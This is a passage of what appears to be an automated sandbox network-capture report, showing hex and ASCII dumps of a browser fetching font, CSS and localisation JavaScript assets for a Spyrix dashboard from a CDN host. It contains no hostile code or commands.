2024-10-02 04:13:07 UTC	3730	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 ac 50 00 10 00 00 00 02 04 b8 00 00 ab ea 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 84 32 1b 82 8f 72 1c 9a 08 06 60 3f 53 54 41 54 48 00 95 2a 11 08 0a 84 b9 34 83 cb 41 0b 91 16 00 01 36 02 24 03 a1 38 04 20 05 87 5e 07 cd 35 0c 07 5b 12 c4 91 05 d6 c6 b6 43 35 a0 e0 fb c0 74 1b 02 64 5f c3 a3 3a 1f ef c5 01 e6 a6 8e 15 fd 6e 1b 00 b8 75 3d 69 58 01 37 46 6e b7 03 28 ea bc 2e bd ec ff ff ff ff ff d7 24 0b 19 db fd 33 fe f7 bf 81 93 29 e8 10 32 ad d2 82 30 aa d0 08 83 bb 23 65 32 60 34 1b 0f e5 98 90 a4 4c 1e 89 c1 1d f5 64 38 93 79 b9 8c c5 8e 10 5c 9b b3 a9 ae 44 92 e1 16 ce fb 30 58 a0 1c 7e 66 cb b6 2d 10 89 88 7c e3 85 97 60 93 a7 fd 32 a3 69 84 7e 4c c4 4e ac f0 b3 b0 22 dd 85 bd 93 cf Data Ascii: wOF2P2r`?STATH*4A6$8 ^5[C5td_:nu=iX7Fn(.$3)20#e2`4Ld8y\D0X~f-\|`2i~LN"
2024-10-02 04:13:07 UTC	4096	IN	Data Raw: b4 56 3a 47 e5 3c 38 c5 66 6d 00 66 b6 0a a6 7f c6 4f aa 48 6e 63 20 66 3f 51 ea 3b dd db 46 b1 50 8c 4e a8 cc 06 3a b4 41 dc c4 5d 6c f1 0e ef a5 6c 06 d0 21 b0 25 83 7b 6d 27 e6 7b 6b 5c f0 40 9e d6 42 d1 68 47 af 5d 29 41 77 48 b4 0a f1 14 eb bb e5 63 e3 12 03 ee cf 9c 15 ef 06 77 31 7a 74 6e 6b 3f 9b 42 e5 61 71 a5 b2 d0 9e de 99 da b2 f5 12 70 b5 08 19 93 a6 1c 53 db bc 0d 4c b0 d0 43 b2 94 a9 be 92 3a a7 e2 a3 cd 2e 8a 66 d2 b8 04 50 35 63 14 b6 a5 b1 a9 3a db 06 6a d7 f3 10 0b b3 58 64 7c 45 4b 91 32 e4 ad dc 15 31 bf 95 0e 94 a9 b6 e7 58 1e c0 74 0d 28 25 32 5a 35 a2 2a 8e 68 55 0b 42 01 b1 93 7d ab 27 69 3f 2f 15 95 ab d7 3d b9 54 b9 6c 20 26 a8 c8 35 c0 4f 56 b3 7d ea da 45 12 92 1b db 3a 19 37 82 32 0d 40 eb e3 d2 c7 ec fa 8c 98 57 13 45 5a 44 Data Ascii: V:G<8fmfOHnc f?Q;FPN:A]ll!%{m'{k\@BhG])AwHcw1ztnk?BaqpSLC:.fP5c:jXd\|EK21Xt(%2Z5*hUB}'i?/=Tl &5OV}E:72@WEZD
2024-10-02 04:13:07 UTC	4096	IN	Data Raw: 5a dd 4b 10 c2 b2 ee 5f 70 1d 76 cd fa ec 56 60 31 eb 16 53 4b 37 2b 54 cd c5 de 8f 83 de c6 75 e3 4a 14 37 da 22 e1 70 ed d7 d8 04 b5 ef ff a8 e4 f7 cb d2 01 3d 02 ce 0c 5d 8c 4a a4 1a 4a 6b 05 22 db 51 8e 44 05 1a c1 0b 6b 6a e7 d5 b2 08 23 0b ec f3 97 a6 0a 88 75 d5 9d 55 37 43 c6 bd 57 0e 21 3e 0e ad 4e 97 01 7a 39 80 7c e3 3c ba 8a 3a f8 42 69 5c 80 30 e8 de bc 7d 5d bf a5 81 90 65 69 f4 bd ab ad 35 d4 fa eb 3b 3c c4 7d f5 37 af ae d3 e8 93 54 38 cb 16 88 75 cf 81 2e fd 51 9b 19 e8 a5 89 04 96 02 05 bb 02 03 0b 58 7a 7c e4 6b 5d 80 4b 9f 17 74 0b b0 ec 48 3f bd 77 29 9d 64 ec a1 07 44 ae 55 00 c8 4b 45 50 9b d0 f1 ad 54 b7 de 82 32 f6 70 de 6f 10 93 3b 8e f8 f2 6e 53 c9 02 01 1f a0 0b a0 51 ab ee 4e 9e 3e 60 44 b1 92 ee e1 04 5a 5a c9 da 7b c4 81 7d Data Ascii: ZK_pvV`1SK7+TuJ7"p=]JJk"QDkj#uU7CW!>Nz9\|<:Bi\0}]ei5;<}7T8u.QXz\|k]KtH?w)dDUKEPT2po;nSQN>`DZZ{}
2024-10-02 04:13:07 UTC	4096	IN	Data Raw: 5d f9 3a 54 54 b1 ce 95 2a af 5c 59 65 2a aa 60 af 46 cf 1a f4 ae 59 af 9a 6a d4 af 36 33 cb 35 b8 38 d3 cb b6 b8 e7 56 54 66 55 15 56 56 6e 43 75 b6 d6 6c 4b 4d 36 d5 60 7f 18 fb ea b2 b7 57 6e f4 de 95 de 38 da 80 eb bd 73 a9 69 d7 7a eb 6e 5f 3c 6e d1 13 6f fb e9 7d 1b de f5 cb c4 1e 3a d3 98 17 ad 09 14 1e 4d 27 5d ab d2 43 ff da 49 fd 0a 6a a4 af d0 9c 9e d0 16 03 86 f0 30 af 02 42 00 dc a8 61 90 9c 50 66 72 8d f2 68 59 d0 a8 52 cd 28 c7 ea 2a ad ad da f1 86 5c 8e 60 5b 2d 0e 84 e5 da 60 88 36 a6 74 8b 7a 66 6c 19 5e e5 d3 cb a0 d5 a8 4d c6 f3 4c 9f 55 67 d6 5b 2e 30 2d 33 34 53 34 dd e6 b8 50 45 53 5c 50 e5 76 e8 db f9 e0 6b 76 f0 8f 78 09 6c ac f4 d2 18 a5 33 a9 4a 65 16 c0 24 a5 81 c2 10 91 50 c5 49 44 43 c7 c0 26 23 a7 a4 a0 a2 96 2c 85 96 81 45 Data Ascii: ]:TT\Ye`FYj6358VTfUVVnCulKM6`Wn8sizn_<no}:M']CIj0BaPfrhYR(*\`[-`6tzfl^MLUg[.0-34S4PES\Pvkvxl3Je$PIDC&#,E
2024-10-02 04:13:07 UTC	4096	IN	Data Raw: 1a a1 cc 93 1a c6 b8 cd 67 63 2a e4 a4 af c8 98 a7 64 aa 75 44 86 a6 3d 81 69 29 80 2d ab 0f bf 90 74 6f b1 32 c7 f6 3c 49 ce 39 0a 96 e4 14 f6 47 15 50 c7 fa 34 61 d9 e4 30 6c 89 7e ca d4 c4 18 3c f1 75 ec 53 a0 44 1b 57 0e f4 d5 ba a8 8b 79 87 12 56 15 4c a9 32 74 59 62 6b ad 49 aa 84 16 d3 d8 76 55 88 81 a3 c7 c4 74 45 2b 5b 21 ec 6b 92 e3 29 ce 98 8d ee e1 75 e9 75 7d a7 bb 04 5a 05 91 07 95 30 53 12 e7 73 53 da d9 6b de 97 9f cc 28 88 f0 1c bd 3a 81 96 33 e4 d7 06 35 31 0b bb 99 bd 48 23 a9 e9 f4 d2 97 31 6a 8a 94 30 9d 5e 01 99 d6 86 19 35 c6 d6 06 66 b4 2e c6 94 c7 d3 30 9a 22 b9 9a 0f 34 40 cd 06 c0 98 2b 11 d5 58 38 e5 60 0c e1 1d 58 c2 8a d2 16 af c3 0e b3 3d a0 30 af 9b d3 76 89 c1 0d 86 15 94 15 4e 01 f0 16 b9 e9 8f df a1 71 aa 64 5f 04 78 57 Data Ascii: gc*duD=i)-to2<I9GP4a0l~<uSDWyVL2tYbkIvUtE+[!k)uu}Z0SsSk(:351H#1j0^5f.0"4@+X8`X=0vNqd_xW
2024-10-02 04:13:07 UTC	2043	IN	Data Raw: 8b 6a df 41 0c 62 4f da c6 34 57 55 8e 69 69 3b fe 1f a6 45 2b 0f 58 06 5c 0e a7 d1 f8 0f e4 31 0d 33 b2 07 f5 6a 42 f1 89 9a 23 34 55 55 8d 69 6e 3b d1 f9 96 f5 e1 77 7e bf cb e9 f4 3b fd df 01 f6 f5 15 7c a0 73 73 9e a9 fa 7d 2f cf 9a 20 2b fd 72 52 d6 80 ac b4 7c 6f d6 95 1b b5 f9 75 d2 cc 15 4c bc c5 3d 25 5f a7 c4 c0 08 52 32 ae f1 74 fd 77 b2 13 86 61 5a b4 ed 5b ab 1c 9b dd 9a 63 0b 7c 0b 24 42 96 07 b9 13 7f db 37 c5 f1 cc 7f f2 42 55 82 29 3f 6c 49 96 3c cc 00 6b b0 22 b4 30 df 2d e3 ba ad da a2 44 5d 7a 23 eb eb cd 5d c1 27 65 37 c7 86 e2 d4 1a 37 7d 2b 5f be c9 82 ab 21 56 62 a5 c1 0c 31 3b c3 aa 2e 89 07 b6 43 9d 4f 25 6f aa b4 dd 55 6e 7c 65 43 92 9c 2e bb c1 e8 35 fb 6b 60 05 02 33 c0 1c 8b d7 6c 4c cf 31 65 97 57 16 14 6d 9a 00 b7 ad 2d 39 Data Ascii: jAbO4WUii;E+X\13jB#4UUin;w~;\|ss}/ +rR\|ouL=%_R2twaZ[c\|$B7BU)?lI<k"0-D]z#]'e77}+_!Vb1;.CO%oUn\|eC.5k`3lL1eWm-9
2024-10-02 04:13:07 UTC	4096	IN	Data Raw: e5 a3 9c 78 3d ee e6 5f 33 a8 cc df 44 8e cc 1c cf 49 2c a4 25 37 c4 f7 ad 23 c7 34 68 b2 68 63 78 49 f1 0b 2a 56 3c 07 e3 ae 1d 71 93 cc 36 8d 48 6c f2 73 00 10 3a 37 9f eb d5 7d b2 22 30 04 d1 11 6b 07 16 64 3b bc 63 9c ac 74 65 dc 6b dd 3b 2d ba 29 7a c2 f7 08 ae 7f fd ae 6a e0 b5 24 cd 2d 4c 0a 99 70 44 c5 c2 12 63 4d 6d 06 a3 27 c7 f6 32 16 63 e8 3d 59 2b e4 a1 76 ac e0 5c 6a be 01 29 14 b3 0d 5e f7 ec 19 7c 82 99 95 0f 1d d1 4c 06 87 40 87 8d 69 9e e9 45 e8 a1 0b c7 7f 96 ac 2f a5 7e 09 00 25 ad b5 62 82 41 fb e8 87 6a be a2 21 1a 00 c8 fc b3 fe ad f3 9b 75 e9 04 38 b1 6c fd 93 f8 8d 03 65 89 08 0c f1 8b b7 17 55 ac 03 be 88 90 79 1d 0b 8a 7c 19 06 08 92 04 66 e6 53 e6 ce 2d f3 22 70 89 6f 56 3e 79 f6 bc 32 3d 08 43 d4 e2 05 45 e5 eb e8 91 cf ca e7 Data Ascii: x=_3DI,%7#4hhcxI*V<q6Hls:7}"0kd;ctek;-)zj$-LpDcMm'2c=Y+v\j)^\|L@iE/~%bAj!u8leUy\|fS-"poV>y2=CE
2024-10-02 04:13:07 UTC	4096	IN	Data Raw: 09 71 64 d8 70 53 52 10 0b 00 2b 66 55 ed 3f a0 37 03 56 22 c8 8a f1 af 29 b1 c8 aa 17 81 f0 09 e3 66 8e b5 e3 f6 31 cf a4 70 c4 7d d3 e0 ef 53 c3 d3 da 86 2c 53 7f 13 c0 8a 7d 7d 5b b9 1b 9f 3d 21 78 54 f0 79 52 a3 bd 75 69 57 95 d0 d1 b1 b2 67 45 14 0e 99 49 f8 3f 6a c5 ca dd fd 2e 41 e5 e1 65 b6 d6 46 de a7 60 4d 6f f6 04 ca a7 59 09 e9 5f 63 76 2c 71 f0 a2 ed 54 39 15 18 4a 84 fe be ad f3 5b 52 64 04 38 b1 6d fd 93 f8 be b4 1e b3 66 3e 9c 4d 8b 2e f9 e3 52 54 ed f0 49 ea f6 f9 c0 58 9d 60 63 93 0d a6 43 20 1d b6 ed 50 18 62 82 2c 3a 83 f0 db 8a 2e 58 1a 6d 76 ad 6b 93 04 50 74 fd cc 7e 68 c8 ba 63 2b bf 84 cc 32 83 4b 69 32 da 7d 7e 87 9d a0 f9 51 78 7e 89 e5 ff 09 e4 95 1b 4c 69 1e 41 52 ae dd a8 8f 2b b4 a6 03 f2 fa a9 f4 18 52 3f 8d 2b 86 5a 9f 35 Data Ascii: qdpSR+fU?7V")f1p}S,S}}[=!xTyRuiWgEI?j.AeF`MoY_cv,qT9J[Rd8mf>M.RTIX`cC Pb,:.XmvkPt~hc+2Ki2}~Qx~LiAR+R?+Z5
2024-10-02 04:13:07 UTC	4096	IN	Data Raw: 68 ac 11 35 d7 4e 14 99 55 0d 76 65 42 50 6b ca e2 ff 72 ab 3d d9 fe 5a f8 7c 1f f9 fa a2 8a 9c db a6 93 ad 03 30 ee b7 ab 89 16 41 4e a8 22 93 36 77 ed 0d d3 39 55 c7 a2 d7 7e 2a df 5a 09 b1 81 a6 61 e8 37 93 f6 b8 b7 51 34 25 b7 de b8 b8 23 ec 19 46 a3 77 08 fe 8a 81 89 26 6a 51 f3 a1 1f 75 27 d9 e3 a9 f1 63 c2 35 71 27 7d b6 71 dd 9d c5 dc 8e 27 f2 2d 1f 32 e4 6b 94 cc 19 f7 d3 66 e2 ff 65 dc a5 f7 eb 04 7a bc 7f 82 3a bd a5 86 83 f8 ea 71 0b 73 e0 93 92 f5 c2 58 20 8e 3d dd f0 65 4b 9c 47 28 a2 7a c6 6d cd a4 4c 9f 46 5d b6 ec 66 56 bc 50 98 11 f7 7b ed b2 aa e9 4b e2 b6 4c 1f 5f 2a 4b 24 8a f3 cc 2d 59 4a 5d 32 2a 6e fa f4 1b 99 1d 2c f3 ff be 6c da 84 e7 61 69 96 4c e4 53 28 4c d4 2c f9 45 a9 5b 26 0e 40 fc 4d 24 03 34 c3 10 1b ac 84 ed 40 87 57 ef Data Ascii: h5NUveBPkr=Z\|0AN"6w9U~Za7Q4%#Fw&jQu'c5q'}q'-2kfez:qsX =eKG(zmLF]fVP{KL_K$-YJ]2*n,laiLS(L,E[&@M$4@W
2024-10-02 04:13:07 UTC	4096	IN	Data Raw: 9e 42 c0 e8 74 10 8f 1f 70 45 7d 5c 4f dc 07 e8 42 dd 78 a3 e3 3f 54 38 26 31 0e 7c 4c 3f cb 0b d6 ce 84 de b3 45 c6 5a 9a ea 4d 7f 32 cb cc 8b f3 6a 99 7f 9a ea 3f 36 ea d8 88 ed 1e b6 1c 30 1b ff 1c 4b 65 8c e4 80 60 13 39 a6 7c fd ec 2f 3a 41 e9 f1 57 55 98 94 c5 a4 16 9d a8 23 c6 9e 01 fc 83 2c eb 5c 2b 84 a5 12 a3 68 83 60 76 d4 ab be 11 79 e0 03 e2 0f 22 2b ff 7d 05 69 1e b8 4b 89 81 a4 8c d7 22 d1 6b 5e 86 25 f1 12 6e e0 49 42 5d 1e 9f 9f 57 97 70 07 80 f0 90 32 90 2f 27 31 57 4e 5f 48 fd 06 13 26 bb cb 0b fc 70 40 80 c5 f0 c5 43 5a 0a 14 df 63 9d 46 22 4d f5 d1 46 91 c8 a3 8e 93 52 29 89 9c 1c c0 ff 9c ce fe 6b 50 ef f6 56 4c a7 49 a4 2d 94 b6 3d 3d e6 35 00 9e 23 54 be 5a df e6 7f f3 cd 37 eb 91 b8 97 04 3c 0d 1b f1 60 5e 5f 8c 45 15 13 1d eb 55 Data Ascii: BtpE}\OBx?T8&1\|L?EZM2j?60Ke`9\|/:AWU#,\+h`vy"+}iK"k^%nIB]Wp2/'1WN_H&p@CZcF"MFR)kPVLI-==5#TZ7<`^_EU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49748	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:06 UTC	626	OUT	GET /dashboard30/assets/en-5393c481.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.js Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:07 UTC	391	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:07 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 1098 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-44a" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-02T00:53:34+00:00 X-Node: m9-up-gc89 Accept-Ranges: bytes
2024-10-02 04:13:07 UTC	1098	IN	Data Raw: 63 6f 6e 73 74 20 6f 3d 22 63 6f 6e 76 65 6e 69 65 6e 74 22 2c 65 3d 22 4d 61 69 6e 22 2c 6e 3d 7b 22 54 68 65 20 6c 69 63 65 6e 73 65 20 70 65 72 69 6f 64 20 68 61 73 20 65 78 70 69 72 65 64 22 3a 22 54 68 65 20 6c 69 63 65 6e 73 65 20 70 65 72 69 6f 64 20 68 61 73 20 65 78 70 69 72 65 64 22 2c 22 54 68 65 20 74 72 69 61 6c 20 70 65 72 69 6f 64 20 69 73 20 65 78 70 69 72 65 64 22 3a 22 54 68 65 20 74 72 69 61 6c 20 70 65 72 69 6f 64 20 69 73 20 65 78 70 69 72 65 64 22 2c 22 59 6f 75 72 20 64 61 74 61 20 69 73 20 73 61 66 65 22 3a 22 59 6f 75 72 20 64 61 74 61 20 69 73 20 73 61 66 65 22 2c 22 50 6c 65 61 73 65 20 70 75 72 63 68 61 73 65 20 61 20 6c 69 63 65 6e 73 65 20 74 6f 20 61 63 63 65 73 73 20 79 6f 75 72 20 64 61 74 61 22 3a 22 50 6c 65 61 73 65 20 Data Ascii: const o="convenient",e="Main",n={"The license period has expired":"The license period has expired","The trial period is expired":"The trial period is expired","Your data is safe":"Your data is safe","Please purchase a license to access your data":"Please

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49753	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:06 UTC	575	OUT	GET /dashboard30/assets/Button-ca236c00.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:07 UTC	302	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:07 GMT Content-Type: text/css Content-Length: 2466 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-9a2" Cache: HIT X-Cached-Since: 2024-10-02T04:11:40+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:13:07 UTC	2466	IN	Data Raw: 2e 67 31 6a 44 45 4e 75 51 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 2e 33 73 20 65 61 73 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 30 70 78 3b 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 67 31 6a 44 45 4e 75 51 20 73 76 67 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 2e 33 73 20 65 61 73 65 7d 2e 6b 6e 33 2d 6a 70 61 38 7b 6f 70 61 63 69 74 79 3a 2e 38 3b 63 75 72 73 6f 72 3a 70 72 6f 67 72 65 73 73 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 69 31 61 53 67 71 4e 7b 6f 70 61 63 69 74 79 3a 2e 34 3b 63 Data Ascii: .g1jDENuQ{display:flex;transition:.3s ease;border-radius:10px;-webkit-user-select:none;user-select:none;max-width:100%;text-align:center;cursor:pointer}.g1jDENuQ svg{transition:.3s ease}.kn3-jpa8{opacity:.8;cursor:progress!important}.pi1aSgqN{opacity:.4;c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49756	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:06 UTC	583	OUT	GET /dashboard30/assets/ButtonTemplate-fd9601a7.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:07 UTC	300	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:07 GMT Content-Type: text/css Content-Length: 97 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-61" Cache: STALE X-Cached-Since: 2024-10-01T19:02:56+00:00 X-Node: m9-up-gc41 Accept-Ranges: bytes
2024-10-02 04:13:07 UTC	97	IN	Data Raw: 2e 5f 36 70 74 63 2d 76 31 6f 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 65 54 55 74 31 76 53 4d 7b 67 61 70 3a 2e 34 65 6d 7d 0a Data Ascii: ._6ptc-v1o{display:flex;justify-content:center;align-items:center;width:100%}.eTUt1vSM{gap:.4em}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49755	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:06 UTC	579	OUT	GET /dashboard30/assets/ButtonText-ead06ca1.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:07 UTC	300	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:07 GMT Content-Type: text/css Content-Length: 193 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-c1" Cache: STALE X-Cached-Since: 2024-10-01T15:59:17+00:00 X-Node: m9-up-gc5 Accept-Ranges: bytes
2024-10-02 04:13:07 UTC	193	IN	Data Raw: 2e 76 61 4a 67 37 58 47 66 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6d 69 6e 2d 77 69 64 74 68 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 66 6c 65 78 3a 31 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 6d 74 78 46 75 75 71 6f 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 4d 74 41 55 6d 34 72 64 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 70 72 69 6d 61 72 79 29 7d 0a Data Ascii: .vaJg7XGf{display:inline;min-width:0;width:100%;flex:1;text-align:center;justify-content:center}.mtxFuuqo{color:inherit;text-align:center;justify-content:center}.MtAUm4rd{color:var(--primary)}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49757	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:06 UTC	574	OUT	GET /dashboard30/assets/Modal-04ffda94.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:07 UTC	301	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:07 GMT Content-Type: text/css Content-Length: 1513 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-5e9" Cache: HIT X-Cached-Since: 2024-10-02T03:44:03+00:00 X-Node: m9-up-gc42 Accept-Ranges: bytes
2024-10-02 04:13:07 UTC	1513	IN	Data Raw: 2e 5f 35 6b 4c 34 54 50 64 44 7b 7a 2d 69 6e 64 65 78 3a 76 61 72 28 2d 2d 7a 2d 6d 6f 64 61 6c 2d 62 61 63 6b 64 72 6f 70 29 7d 2e 65 6f 50 78 2d 58 66 4c 7b 6f 70 61 63 69 74 79 3a 30 7d 2e 2d 75 46 45 45 65 68 62 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 77 69 64 74 68 3a 31 30 30 25 3b 7a 2d 69 6e 64 65 78 3a 76 61 72 28 2d 2d 7a 2d 6d 6f 64 61 6c 2d 62 61 63 6b 64 72 6f 70 29 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6c 65 66 74 3a 30 3b 74 6f 70 3a 30 3b 6f 70 61 63 69 74 79 3a 31 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 38 30 7d 2e 66 4d 6f 33 5a 56 45 6c 7b 64 69 72 65 63 74 69 6f 6e 3a 72 74 6c 7d 2e 5f 36 73 50 77 61 78 79 43 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 Data Ascii: ._5kL4TPdD{z-index:var(--z-modal-backdrop)}.eoPx-XfL{opacity:0}.-uFEEehb{position:fixed;width:100%;z-index:var(--z-modal-backdrop);height:100%;left:0;top:0;opacity:1;background-color:#00000080}.fMo3ZVEl{direction:rtl}._6sPwaxyC{position:fixed;top:50%;left

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49750	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:06 UTC	574	OUT	GET /dashboard30/assets/Input-34212571.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:07 UTC	303	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:07 GMT Content-Type: text/css Content-Length: 3065 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-bf9" Cache: STALE X-Cached-Since: 2024-10-02T02:35:10+00:00 X-Node: m9-up-gc82 Accept-Ranges: bytes
